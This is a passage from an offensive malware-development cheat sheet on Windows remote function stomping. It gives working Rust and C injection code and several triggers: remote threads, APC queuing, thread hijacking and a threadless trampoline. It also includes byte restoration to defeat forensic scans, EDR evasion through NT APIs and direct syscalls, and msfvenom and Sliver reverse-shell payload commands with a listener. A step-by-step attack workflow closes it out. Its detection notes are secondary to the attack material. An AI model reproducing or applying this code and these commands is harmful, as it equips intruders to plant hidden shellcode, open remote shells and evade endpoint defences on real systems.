        WriteProcessMemory(
            hproc, remote_func as _,
            SHELLCODE.as_ptr() as _,
            sc_len, &mut bytes_written,
        )
    };
    if write_ok == 0 { eprintln!("[-] WriteProcessMemory failed"); return; }
    println!("[+] Wrote {} bytes of shellcode", bytes_written);

    // Restore protection → PAGE_EXECUTE_READ
    let mut dummy: u32 = 0;
    unsafe {
        VirtualProtectEx(hproc, remote_func as _, sc_len, PAGE_EXECUTE_READ, &mut dummy);
    }
    println!("[*] Protection → PAGE_EXECUTE_READ");

    // Trigger via remote thread
    let hthread = unsafe {
        CreateRemoteThread(
            hproc, std::ptr::null(), 0,
            Some(std::mem::transmute(remote_func)),
            std::ptr::null(), 0, std::ptr::null_mut(),
        )
    };

    if hthread == 0 {
        eprintln!("[-] CreateRemoteThread failed");
    } else {
        println!("[+] Remote thread created, waiting...");
        unsafe { WaitForSingleObject(hthread, 10000) };
        unsafe { CloseHandle(hthread) };
    }

    unsafe { CloseHandle(hproc) };
    println!("[+] Done.");
}
# Build and run
cargo build --release
./target/release/rfs_injection.exe

# Or run directly
cargo run

10. Function Restoration (Stealthy Cleanup)

[OPSEC] Restoring the original function bytes after execution prevents forensic detection of the stomp. The memory scanner will see the original function code, and the module will appear unmodified.

// restore_function.c — Restore original bytes after shellcode executes

typedef struct {
    LPVOID   remoteFuncAddr;
    unsigned char* originalBytes;
    SIZE_T   originalLen;
    HANDLE   hProc;
} RESTORE_CONTEXT;

BOOL RestoreOriginalFunction(RESTORE_CONTEXT* ctx) {
    DWORD oldProtect = 0;

    // Step 1: Make function writable again
    if (!VirtualProtectEx(ctx->hProc, ctx->remoteFuncAddr,
                          ctx->originalLen, PAGE_READWRITE, &oldProtect)) {
        printf("[-] Restore: VirtualProtectEx (→RW) failed: %lu\n", GetLastError());
        return FALSE;
    }

    // Step 2: Write original bytes back
    SIZE_T bytesWritten = 0;
    if (!WriteProcessMemory(ctx->hProc, ctx->remoteFuncAddr,
                             ctx->originalBytes, ctx->originalLen, &bytesWritten)) {
        printf("[-] Restore: WriteProcessMemory failed: %lu\n", GetLastError());
        VirtualProtectEx(ctx->hProc, ctx->remoteFuncAddr,
                          ctx->originalLen, oldProtect, &oldProtect);
        return FALSE;
    }

    // Step 3: Restore execute protection
    DWORD dummy = 0;
    VirtualProtectEx(ctx->hProc, ctx->remoteFuncAddr,
                      ctx->originalLen, PAGE_EXECUTE_READ, &dummy);

    printf("[+] Function restored — original bytes written back\n");
    return TRUE;
}

// ─── Example Usage ────────────────────────────────────────────────────────────
// Call after shellcode executes (callback thread, timed restore, etc.)
//
// RESTORE_CONTEXT ctx = {
//     .remoteFuncAddr = remoteFuncAddr,
//     .originalBytes  = originalBytes,
//     .originalLen    = shellcodeLen,
//     .hProc          = hProc
// };
// Sleep(5000);               // Wait for shellcode to run
// RestoreOriginalFunction(&ctx);  // Restore original bytes

11. Execution Trigger Methods

[STOMP] Multiple techniques to trigger the stomped function — each with different OPSEC tradeoffs:

11.1 CreateRemoteThread (Noisiest, Most Direct)

// Start a thread at the stomped function address
// [DETECT] CreateRemoteThread is heavily monitored by EDR
HANDLE hThread = CreateRemoteThread(
    hProc, NULL, 0,
    (LPTHREAD_START_ROUTINE)remoteFuncAddr,
    NULL, 0, NULL
);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);

11.2 NtCreateThreadEx (Lower Level)

// Lower-level alternative to CreateRemoteThread
typedef NTSTATUS (NTAPI *pNtCreateThreadEx)(
    PHANDLE             ThreadHandle,
    ACCESS_MASK         DesiredAccess,
    PVOID               ObjectAttributes,
    HANDLE              ProcessHandle,
    PVOID               StartRoutine,
    PVOID               Argument,
    ULONG               CreateFlags,
    SIZE_T              ZeroBits,
    SIZE_T              StackSize,
    SIZE_T              MaximumStackSize,
    PVOID               AttributeList
);

pNtCreateThreadEx NtCreateThreadEx =
    (pNtCreateThreadEx)GetProcAddress(
        GetModuleHandleA("ntdll.dll"), "NtCreateThreadEx");

HANDLE hThread = NULL;
NTSTATUS status = NtCreateThreadEx(
    &hThread,
    THREAD_ALL_ACCESS,
    NULL,
    hProc,
    remoteFuncAddr,   // Start address = stomped function
    NULL,             // Argument
    0,                // CreateFlags (0 = run immediately)
    0, 0, 0, NULL
);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);

11.3 APC Queue Injection (Stealthier)

// [EVASION] Queue an APC to an alertable thread — avoids new thread creation
// Requires an alertable thread in target process (SleepEx, WaitForSingleObjectEx, etc.)

HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te = { sizeof(THREADENTRY32) };

if (Thread32First(hSnap, &te)) {
    do {
        if (te.th32OwnerProcessID == pid) {
            HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, te.th32ThreadID);
            if (hThread) {
                // Queue APC to stomped function address
                QueueUserAPC(
                    (PAPCFUNC)remoteFuncAddr,  // Points at stomped function (shellcode)
                    hThread,
                    0
                );
                CloseHandle(hThread);
                break;
            }
        }
    } while (Thread32Next(hSnap, &te));
}
CloseHandle(hSnap);
// Shellcode runs when an alertable wait function is called in the target thread

11.4 Thread Hijacking (No New Thread)

// [EVASION] Hijack existing thread — suspend, redirect RIP, resume
// Most stealthy: no new thread creation, no APC queue

// Find a thread in the target process
DWORD threadId = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te = { sizeof(THREADENTRY32) };

if (Thread32First(hSnap, &te)) {
    do {
        if (te.th32OwnerProcessID == pid) {
            threadId = te.th32ThreadID;
            break;
        }
    } while (Thread32Next(hSnap, &te));
}
CloseHandle(hSnap);

if (threadId) {
    HANDLE hThread = OpenThread(
        THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_SET_CONTEXT,
        FALSE, threadId);

    SuspendThread(hThread);

    CONTEXT ctx = {0};
    ctx.ContextFlags = CONTEXT_FULL;
    GetThreadContext(hThread, &ctx);

    // Redirect RIP to stomped function (shellcode now lives there)
    ctx.Rip = (DWORD64)remoteFuncAddr;

    SetThreadContext(hThread, &ctx);
    ResumeThread(hThread);
    // Thread now executes our shellcode when resumed

    CloseHandle(hThread);
}

12. Variant: Threadless Remote Function Stomping

[EVASION] Threadless injection avoids creating ANY thread — no CreateRemoteThread, no APC. Execution is triggered via a hook on an existing function call. When the target process naturally calls the stomped function, shellcode runs in the existing thread context.

Flow:
  1. Stomp function A with a JMP to our shellcode
  2. Our shellcode:
     a. Executes the actual payload
     b. Restores function A (removes the JMP)
     c. Calls the original function code (stored aside)
  3. To the target process: function A was called, returned normally

Advantage:
  ✅ No new thread created
  ✅ No APC queued
  ✅ Execution happens in an existing, trusted thread
  ✅ Thread's call stack looks completely legitimate
// threadless_stomp.c — Trampolining for threadless execution

// Stub: JMP to shellcode (x64 absolute JMP via push+ret)
// Overwrites first 14 bytes of target function with:
//   push rax                        ; 50
//   mov  rax, <shellcode_address>   ; 48 B8 xx xx xx xx xx xx xx xx
//   xchg rax, [rsp]                 ; 48 87 04 24
//   ret                             ; C3
// Total: 14 bytes trampoline

void BuildTrampoline(unsigned char* trampoline, LPVOID shellcodeAddr) {
    trampoline[0]  = 0x50;          // push rax
    trampoline[1]  = 0x48;          // \
    trampoline[2]  = 0xB8;          //  | mov rax, <addr>
    *(UINT64*)(&trampoline[3]) = (UINT64)shellcodeAddr;  // 8 bytes
    trampoline[11] = 0x48;          // \
    trampoline[12] = 0x87;          //  | xchg rax, [rsp]
    trampoline[13] = 0x04;          // /
    trampoline[14] = 0x24;          //
    trampoline[15] = 0xC3;          // ret → jumps to shellcode_address
}

// Then write 16-byte trampoline to remote function instead of full shellcode
// The shellcode itself is placed elsewhere (another stomped function or mapped mem)

13. Variant: Heaven's Gate + Function Stomping (32→64)

[EVASION] HijackLoader's documented approach: uses Heaven's Gate to call 64-bit NtProtectVirtualMemory and NtWriteVirtualMemory from a 32-bit process to stomp a 64-bit target's .text section. This bypasses most 32-bit EDR hooks.

Architecture:
  32-bit injector → Heaven's Gate → 64-bit NT calls → stomp 64-bit target

Heaven's Gate = trick to call 64-bit code from a WoW64 (32-bit) process by
  switching to 64-bit mode (CS = 0x33) via a far JMP.

HijackLoader real-world flow (CrowdStrike documented):
1. Maps mshtml.dll into cmd.exe
2. Heaven's Gate → NtProtectVirtualMemory(cmd.exe, .text of mshtml, RWX)
3. Heaven's Gate → NtWriteVirtualMemory(cmd.exe, mshtml .text, shellcode)
4. Heaven's Gate → NtSuspendThread(cmd.exe main thread)
5. NtGetContextThread → save thread context
6. NtSetContextThread → set EIP = shellcode location
7. NtResumeThread → execute shellcode

14. Real-World Malware Usage (HijackLoader)

[DETECT] CrowdStrike documented HijackLoader (2025) using this exact technique in the wild:

Documented HijackLoader behavior:
  ├─ Spawns cmd.exe
  ├─ Maps mshtml.dll into cmd.exe via NtMapViewOfSection
  ├─ Uses Heaven's Gate (WoW64 → 64-bit calls):
  │    NtProtectVirtualMemory(cmd.exe, mshtml .text section, RWX)
  │    NtWriteVirtualMemory(cmd.exe, mshtml .text, 3rd-stage shellcode)
  ├─ Triggers execution via thread context manipulation:
  │    NtSuspendThread(main thread of cmd.exe)
  │    NtGetContextThread + NtSetContextThread (redirect EIP)
  │    NtResumeThread
  └─ Result: shellcode runs inside cmd.exe's mshtml.dll .text section

APT usage:
  - Bumblebee loader — module stomping on amsi.dll AddressOfEntryPoint
  - BackdoorDiplomacy (APT) — DLL hollowing / function stomping variant
  - Naikon APT — documented MITRE T1055 process injection with stomping

15. Tools Reference

15.1 RustRedOps — Reference Implementation

# [TOOL] Complete Rust-based red team arsenal including Remote Function Stomping
# GitHub: https://github.com/joaoviictorti/RustRedOps

git clone https://github.com/joaoviictorti/RustRedOps
cd RustRedOps/Remote_Function_Stomping_Injection

# Build
cargo build --release

# Run (ensure target DLL is loaded in target process first)
cargo run

# Or run binary directly
target/release/rfs_injection.exe

15.2 FunctionStomping by Idov31 (Original PoC)

# [TOOL] Original Function Stomping proof-of-concept (C++ header + Rust)
# GitHub: https://github.com/Idov31/FunctionStomping
# Blog: https://idov31.github.io/2022-01-28-function-stomping/

git clone https://github.com/Idov31/FunctionStomping
cd FunctionStomping

# C++ header usage:
# 1. Include the header in your project:
#include "functionstomping.hpp"

# 2. Call StompFunction with pid, dll name, function name, shellcode:
int main() {
    DWORD pid = 1234;  // Target PID
    StompFunction(pid, "kernel32.dll", "Sleep", shellcode, shellcodeLen);
}

# Rust version — standalone binary:
cargo build --release
./target/release/functionstomping <PID>

15.3 Local-And-Remote_Function_Stomping (AbdouRoumi)

# [TOOL] Both local and remote variants, MITRE T1055.012 labeled
# GitHub: https://github.com/AbdouRoumi/Local-And-Remote_Function_Stomping

git clone https://github.com/AbdouRoumi/Local-And-Remote_Function_Stomping

# Remote version:
cd Remote_Function_Stomping
# Edit config: set target process, DLL, function, and shellcode
# Compile with Visual Studio or cl.exe
cl.exe remote_stomp.c /Fe:remote_stomp.exe

15.4 wizardy0ga/RemoteFunctionStomper

# [TOOL] C program — reads shellcode from .bin file, targets specific function
# GitHub: https://github.com/wizardy0ga/RemoteFunctionStomper

git clone https://github.com/wizardy0ga/RemoteFunctionStomper
cd RemoteFunctionStomper

# Usage:
# RemoteFunctionStomper.exe <process_name> <dll_name> <function_name> <payload.bin>
RemoteFunctionStomper.exe notepad.exe kernel32.dll Sleep payload.bin

# The tool:
# 1. Reads shellcode from payload.bin
# 2. Finds the target process
# 3. Checks the DLL is loaded (validation added)
# 4. Resolves function address via module snapshot
# 5. Writes and executes shellcode via remote thread

15.5 Enumeration & Validation Tools

# [TOOL] Check which DLLs are loaded in a process before stomping

# Process Hacker (GUI — shows all loaded modules + base addresses)
# Download: https://processhacker.sourceforge.io/

# ListDLLs (Sysinternals)
listdlls.exe notepad.exe
listdlls.exe -d kernel32.dll  # Which processes have kernel32 loaded?

# PowerShell — enumerate loaded modules
Get-Process notepad | ForEach-Object { $_.Modules } | Select-Object ModuleName, BaseAddress

# x64dbg — inspect function body size before stomping
# 1. Open target binary in x64dbg
# 2. Navigate to target function: ctrl+G → "kernel32.Sleep"
# 3. Scroll down to RET instruction to estimate body size
# 4. Right-click → Follow in dump → compare hex bytes

# PE-bear / CFF Explorer — offline PE analysis
# Shows export table → function RVAs → compute expected addresses

# ThreatCheck — test if stomped binary triggers AV
ThreatCheck.exe -f rfs.exe -e Defender

15.6 Payload Generation

# [TOOL] Generate shellcode to inject via function stomping

# msfvenom (Metasploit)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=10.10.10.10 LPORT=4444 \
    -f raw -o payload.bin

# Havoc C2 (modern shellcode)
# https://github.com/HavocFramework/Havoc
# Generate → Shellcode format → raw .bin

# Sliver C2
sliver> generate shellcode --mtls 10.10.10.10 --save payload.bin

# IMPORTANT: Encrypt the shellcode BEFORE stomping
# Raw msfvenom shellcode has known signatures → AV flags before stomp even helps
# Use XOR + AES from the Shellcode Encryption reference
python3 aes_encrypt.py payload.bin     # Encrypt
# Loader decrypts in memory → then stomp with decrypted bytes

16. Detection & Evasion

16.1 What EDR Looks For

Static analysis:

[DETECT] Loader binary imports:
  ├─ VirtualProtectEx (changing existing memory perms — red flag)
  ├─ WriteProcessMemory (writing to another process — red flag)
  ├─ CreateToolhelp32Snapshot + Module32Next (enumerating modules)
  ├─ GetProcAddress (resolving function addresses)
  └─ CreateRemoteThread (executing in another process)

[DETECT] PE section analysis:
  ├─ Check import table for the above combination
  └─ If all present simultaneously → high-confidence injection indicator

Behavioral analysis:

[DETECT] Event sequence:
  ├─ OpenProcess → CreateToolhelp32Snapshot → Module32Next
  │   (classic module enumeration before stomping)
  ├─ VirtualProtectEx on existing .text page (R-X → RW then back to R-X)
  │   (changing existing executable code — not normal for benign processes)
  ├─ WriteProcessMemory targeting a DLL's code section
  │   (writing to code, not data — highly suspicious)
  └─ CreateRemoteThread starting at an address inside a known DLL
      (thread in legit DLL range, but code was just modified)

[DETECT] Memory forensics:
  ├─ "Modified Code" (SharedOriginal flag):
  │    EDR checks if DLL page matches on-disk hash
  │    Stomped function ≠ on-disk bytes → "modified code" alert
  ├─ hollows-hunter (Hasherezade):
  │    NOTE: Idov31's original report (2022) said hollows-hunter
  │    did NOT detect function stomping at the time.
  │    This may have changed with newer versions.
  └─ Pe-sieve scanner:
       Compares in-memory module bytes to disk → detects overwrite

16.2 Evasion Improvements

1. Use NT-Level APIs to bypass Win32 hooks

// [EVASION] Replace VirtualProtectEx + WriteProcessMemory with NT calls
// Bypasses EDR hooks on the Win32 layer
NtProtectVirtualMemory(...)  // instead of VirtualProtectEx
NtWriteVirtualMemory(...)    // instead of WriteProcessMemory

2. Direct Syscalls (bypass ntdll hooks entirely)

[EVASION] Hell's Gate / Halo's Gate / Tartarus' Gate:
  - Resolve SSN (System Service Number) for NT functions at runtime
  - Call kernel directly via 'syscall' instruction
  - Bypasses all userland hooks placed by EDR in ntdll.dll
  - SSN changes per Windows version — must be resolved dynamically

Libraries implementing this:
  - SysWhispers3: https://github.com/klezVirus/SysWhispers3
  - RecycledGate: https://github.com/thefLink/RecycledGate

3. Stomp a Less-Monitored Function

[EVASION] Avoid high-value hook targets:
  ❌ NtAllocateVirtualMemory (almost always hooked)
  ❌ CreateRemoteThread (monitored)
  ❌ VirtualProtectEx on ntdll functions
  ✅ Stomp an obscure function in a less-monitored DLL
     (cryptsp.dll, msvcp_win.dll, diasymreader.dll, etc.)
  ✅ Avoid stomping ntdll.dll itself — too risky and detectable

4. Combine with Indirect Syscalls

[EVASION] Indirect syscalls:
  - Instead of syscall directly (detectable by call stack analysis)
  - JMP to ntdll's syscall instruction
  - Call stack shows execution coming from ntdll address space
  - Looks legitimate to call stack-based EDR checks

5. Restore Bytes After Execution

// [EVASION] After shellcode executes, restore original function bytes
// Memory scanner now sees original function code
// Pe-sieve and hollows-hunter no longer find the stomp
RestoreOriginalFunction(&ctx);  // See §10

6. Target Legitimate Process / DLL Combination

[EVASION] Best target combinations:
  Process         | DLL          | Function         | Reason
  ────────────────────────────────────────────────────────────────
  notepad.exe     | kernel32.dll | FlsGetValue      | Almost never called
  explorer.exe    | uxtheme.dll  | CloseThemeData   | Rarely called at runtime
  svchost.exe     | rpcrt4.dll   | I_RpcFree        | Loaded, rarely called
  msiexec.exe     | msi.dll      | MsiGetProperty   | Loaded, obscure
  OneDrive.exe    | ntdll.dll    | RtlDecompressBuffer | Rarely called

16.3 Detection Summary Table

Detection Method Detects? Bypass
Static signature scan No (no known sigs) N/A
VirtualProtectEx monitoring Yes Use NtProtectVirtualMemory
WriteProcessMemory monitoring Yes Use NtWriteVirtualMemory
CreateRemoteThread monitoring Yes APC injection or thread hijack
Module enumeration detection Partial Space queries in bursts
hollows-hunter (2022) No N/A (original report)
Pe-sieve / modified code Yes Restore original bytes after exec
Behavioral sequencing Yes Syscalls + threadless injection
Memory hash comparison Yes Restore bytes; use threadless

17. Comparison Matrix

Technique New Memory? Noisy APIs Calls RWX? EDR Evasion Complexity
Classic Injection Yes VirtualAllocEx + CRT Yes Low Low
Module Stomping No (LoadLibraryEx) LoadLibraryEx + CRT No Medium Medium
Remote Function Stomping No VirtualProtectEx + WPM No High Medium
NT-Level Function Stomping No NtProtect + NtWrite No Very High High
Threadless Function Stomping No NtProtect + NtWrite No Maximum Very High
Thread Hijacking Yes (usually) VirtualAllocEx + CRT No Medium High
APC Injection Yes VirtualAllocEx + QAPC No Medium Medium
Heaven's Gate Stomp No NT (32→64 transition) No Very High Very High

18. Cheat Sheet

Quick Attack Workflow

# Step 1: Generate raw shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=10.10.10.10 LPORT=4444 -f raw -o payload.bin

# Step 2: Encrypt shellcode (XOR + AES) before embedding
python3 aes_encrypt.py   # outputs: payload.enc + C key arrays

# Step 3: Identify target process and confirm DLL is loaded
listdlls.exe notepad.exe | grep kernel32

# Step 4: Verify stomping function is large enough for shellcode
# x64dbg → navigate to function → scroll to RET → measure size

# Step 5: Compile and run injector
cl.exe rfs.c /Fe:rfs.exe
rfs.exe

# Step 6: Start listener
msfconsole -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST 10.10.10.10; set LPORT 4444; run"

Required Windows API Sequence

Classic (Win32):
  OpenProcess → CreateToolhelp32Snapshot → Module32Next
  → VirtualProtectEx (R-X → RW)
  → WriteProcessMemory
  → VirtualProtectEx (RW → R-X)
  → CreateRemoteThread

Stealthier (NT APIs):
  OpenProcess → CreateToolhelp32Snapshot → Module32Next
  → NtProtectVirtualMemory (R-X → RW)
  → NtWriteVirtualMemory
  → NtProtectVirtualMemory (RW → R-X)
  → NtCreateThreadEx / APC / Thread Hijack

Stealthiest (Syscalls + Threadless):
  OpenProcess → [module enum via NtQuery]
  → Syscall: NtProtectVirtualMemory
  → Syscall: NtWriteVirtualMemory
  → Syscall: NtProtectVirtualMemory
  → Trampoline hook → triggered by target's own code

Memory Permission Flow

Before Stomp:      .text section → PAGE_EXECUTE_READ (R-X)
During Stomp:      .text section → PAGE_READWRITE     (RW)  ← EDR alert window
After Stomp:       .text section → PAGE_EXECUTE_READ  (R-X)
After Restore:     .text section → PAGE_EXECUTE_READ  (R-X, original bytes)

Decision Tree — Which Variant to Use?

Remote Function Stomping Needed?
│
├─ Target is well-known process (notepad, calc, explorer)?
│   ├─ Yes, EDR present (CrowdStrike, SentinelOne)?
│   │   └─ NT-level APIs + threadless injection + byte restore
│   └─ Yes, basic Defender only?
│       └─ Win32 APIs + CreateRemoteThread → sufficient
│
├─ Target is high-value system process (svchost, lsass)?
│   └─ NT-level + Direct syscalls + APC (no new thread)
│
├─ 32-bit injector → 64-bit target?
│   └─ Heaven's Gate + NtProtectVirtualMemory + NtWriteVirtualMemory
│
├─ Need to avoid thread creation entirely?
│   └─ Threadless variant (trampoline hook, trigger via natural call)
│
└─ Learning / lab environment?
    └─ Classic Win32 API variant (§7) — simplest to understand

Common Pitfalls

[!] Target DLL not loaded → Module32Next won't find it → injection fails
    Fix: ensure the DLL is loaded (LoadLibraryEx remote call first)

[!] Shellcode too large for function body → overwrites adjacent function
    Fix: verify function size > shellcode size before stomping

[!] Stomped function is called by target process → crash
    Fix: choose a function that's rarely/never called in that process

[!] VirtualProtectEx fails with ERROR_ACCESS_DENIED
    Fix: ensure OpenProcess has PROCESS_VM_OPERATION | PROCESS_VM_WRITE

[!] WriteProcessMemory writes 0 bytes
    Fix: confirm PAGE_READWRITE protection was actually applied first

[!] CreateRemoteThread fails with ERROR_NOT_ENOUGH_MEMORY
    Fix: target process stack limit — reduce thread stack size parameter

[!] Shellcode has null bytes → breaks if loader is string-based
    Fix: use XOR encoding to eliminate null bytes before stomping

References & Resources

Primary Research / PoCs: - Idov31 — FunctionStomping — https://github.com/Idov31/FunctionStomping - Idov31 Blog — "The Good, The Bad And The Stomped Function" — https://idov31.github.io/2022-01-28-function-stomping/ - RastaMouse — C# variant blog post (parallel discovery) - wizardy0ga/RemoteFunctionStomper — https://github.com/wizardy0ga/RemoteFunctionStomper - AbdouRoumi/Local-And-Remote_Function_Stomping — https://github.com/AbdouRoumi/Local-And-Remote_Function_Stomping

Multi-technique Collections: - RustRedOps (joaoviictorti) — https://github.com/joaoviictorti/RustRedOps (includes Remote Function Stomping) - awesome-injection (itaymigdal) — https://github.com/itaymigdal/awesome-injection

Related Techniques (Stomping Family): - Module Stomping — https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection - Threadless Module Stomping — https://github.com/CCob/ThreadlessInject - Nigerald's Blog — Module Stomping — https://dtsec.us/2023-11-04-ModuleStompin/

Real-World Malware Analysis: - CrowdStrike — HijackLoader Expands Techniques — https://www.crowdstrike.com/en-us/blog/hijackloader-expands-techniques/ - MITRE T1055 — Process Injection — https://attack.mitre.org/techniques/T1055/

Detection & Defense: - Red Team Notes (ired.team) — https://www.ired.team - EDR Bypass Methods (S3cur3Th1sSh1t) — https://s3cur3th1ssh1t.github.io/A-tale-of-EDR-bypass-methods/

Syscall Evasion: - SysWhispers3 — https://github.com/klezVirus/SysWhispers3 - Hell's Gate — https://github.com/am0nsec/HellsGate - HADESS EDR Evasion with Syscalls — https://hadess.io/edr-evasion-techniques-using-syscalls/


← Malware development top ↑